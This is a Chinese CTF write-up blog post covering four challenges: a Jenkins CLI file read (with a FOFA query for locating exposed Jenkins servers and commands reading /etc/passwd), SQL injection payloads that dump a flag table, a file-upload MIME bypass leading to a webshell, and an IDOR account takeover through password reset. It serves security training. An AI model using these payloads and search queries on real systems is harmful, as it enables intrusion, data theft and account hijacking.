fofa语法

  1. header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

img

这里使用的是jenkins-cli.jar,我的java版本是11,运行jenkins-cli的java版本需要高一些,不然会报错版本问题,网上的脚本下载下来貌似不是特别好用……
jenkins-cli.jar如何获取?
访问jenkins的URL:http://xxx/jnlpJars/jenkins-cli.jar 可以下载到。

img

读取/etc/passwd[只能读取有限行]:

  1. java -jar jenkins-cli.jar -s http://xxx/ -http who-am-i "@/etc/passwd"
  2. java -jar jenkins-cli.jar -s http://xxx/ -http help "@/etc/passwd"

img

如果目标开启了“匿名用户可读”选项:

img

则可以使用 connect-node 命令或 reload-job 命令来读取文件全部内容:

img

网上工具使用效果:

img

因为题目加了验证,所以需要在数据包头部中添加认证字段Authorization: Basic emthcTp6a2Fx

那么这样的话,我们需要对jenkins-cli.jar进行代理抓包,也就是对java.exe进行代理抓包:
可添加命令行:-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080

img
但是,此时的话,我们并没有向头部添加认证字段,因此会出现401的情况:

img

此时还需要在burp中设置一下向请求包中自动添加认证字段:

img

再次访问就不会弹401了,这里本来应该会发送三个包,一个是访问首页的包,还有一个upload和一个download,但是我的burp只抓到两个,少了一个download包,很奇怪:

img

img

因此这里,先将包发送至reperter模块,手动构造一个download:

img

然后先发送一个download包,打开下载接口,准备接收数据,然后再发一个upload包,上传命令到jenkins进行执行,也就是说在repeter模块中需要准备两个包,一个upload和一个download(这个过程有点像反弹shell:先打开监听,然后再接收反弹到的shell):

img

img
再回到download包中,就可以看到读取到了flag:

img

参考资料

什么?英文站?

考点:sql注入,sqlmap工具使用,python脚本编写

打开题目,是个英文站:但其实渗透流程都是一样的,没啥区别

这里也是挺简单的,Search搜索内容这里存在SQL注入漏洞, 只不过闭合和平常见到的不太一样(其实也挺常规的),在搜索框里打个111,抓包:你会发现如果随意输入,一直都是No record found

这里后端语句是:因此,闭合的话需要使用%' 或者也可以用'

联合注入:

  1. searchtitle=111' UNION ALL SELECT version(),NULL,NULL,NULL,NULL,database(),NULL,NULL-- qwe

查表:

  1. searchtitle=111' UNION ALL SELECT table_name,NULL,NULL,NULL,NULL,database(),NULL,NULL from information_schema.tables where table_schema=database() limit 0,1 -- qwe

查字段:

  1. searchtitle=111' UNION ALL SELECT column_name,NULL,NULL,NULL,NULL,database(),NULL,NULL from information_schema.columns where table_schema=database() and table_name="newsflag" -- qwe

获取flag:

  1. searchtitle=111' UNION ALL SELECT CTFpass,NULL,NULL,NULL,NULL,database(),NULL,NULL from newsflag -- qwe

布尔盲注 或者 时间盲注:

  1. searchtitle=111' AND (SELECT 6313 FROM (SELECT(SLEEP(5)))bRKX) AND '1'='1
  2. 123%' OR if(length(database())=10,1,0) AND 'urvA%'='urvA

然后就是基本的注入流程,flag在newsflag表中。

当然,用SQLMAP直接跑也是可以的,只不过会比较慢:

来耍pyq

考点:文件上传、MIME类型绕过

打开题目,注册个账号,然后在上传视频处存在文件上传漏洞:

正常上传一个视频格式如mp4格式的文件,然后抓包,修改文件名即可上传成功:

f12获取文件地址,然后拼接访问:连上蚁剑获取flag.

绝对安全的系统

考点:逻辑越权 、 账户接管

实际上这个题目,还是放了比较多的提示的,只不过需要细心找,题目的提示是:flag在一位用户手中,而这个系统只有一个登录页面,那么可能就是需要我们登录patient的后台或者通过注入或者什么手段获取到patient用户的相关数据从而获取flag.

打开题目,这里为了防止选手出现相互干扰的情况,特意设置了密码长度需要八位以上。

注册一个用户:注册好之后会直接登录进后台

接下来就是各个功能点尝试测试,在settings中可以查看个人的基本资料,实际上这里原始代码中是存在任意用户信息查看漏洞的,但是这里如果配合后面的账户接管漏洞,容易将其他选手的账户密码给重置,所以这里设置了只能越权查看那位名叫patient的用户信息

点击`View Account Details之后看可以看到url中有个id参数:尝试修改这个id参数,弹出查询失败

但是,真的就不能查吗?如果我遍历一下会怎样呢?抓包,尝试遍历id参数1-999:

筛选一下,可以看到id=234数据包长度有异常:

拼接url后访问:我们获得了patient用户的邮箱为patient@mypatient.com

但这个时候我们依旧没有任何其他提示,只获得了patient用户的邮箱,细心的同学可以发现,我们登录的时候只允许以邮箱的方式去登录,那么这里,多半是需要拿着这个邮箱去登录patient用户的后台。

接续探索,在settings中还有更改个人信息的功能:

这个时候你可能会察觉到url中还有一个id参数,然而我们更改这个id参数之后会发现没啥用,不会有其他用户的信息显示:

因此,尝试在信息修改的时候做文章,重新填写符合要求的密码后抓包:可以看到有一个id00参数,不过被base64编码了,解码之后发现是:400,正是id值

那么这里可以大胆猜测一下,id00表示的是用户的唯一标识(即身份标识),我们刚刚通过遍历得到了patient用户的id值和邮箱,我们是否可以直接通过edit-user.php重置他的密码呢?试试看,将234进行base64加密,邮箱改成patient@mypatient.com

看起来成功了,登录试试:登录成功,获得flag.

写在最后

最后,由于本次比赛中有一些对往期其他大型CTF赛事中题目的参考和借鉴,所以在这里要向相关赛事的前辈们表示由衷的感谢!!!同时也感谢参与本次CTF赛事的各位同学,以及感谢支持这场比赛的领导和同事!最后感谢您的观看!

打赏我,让我更有动力~

0 条回复   |  直到 1个月前 | 640 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.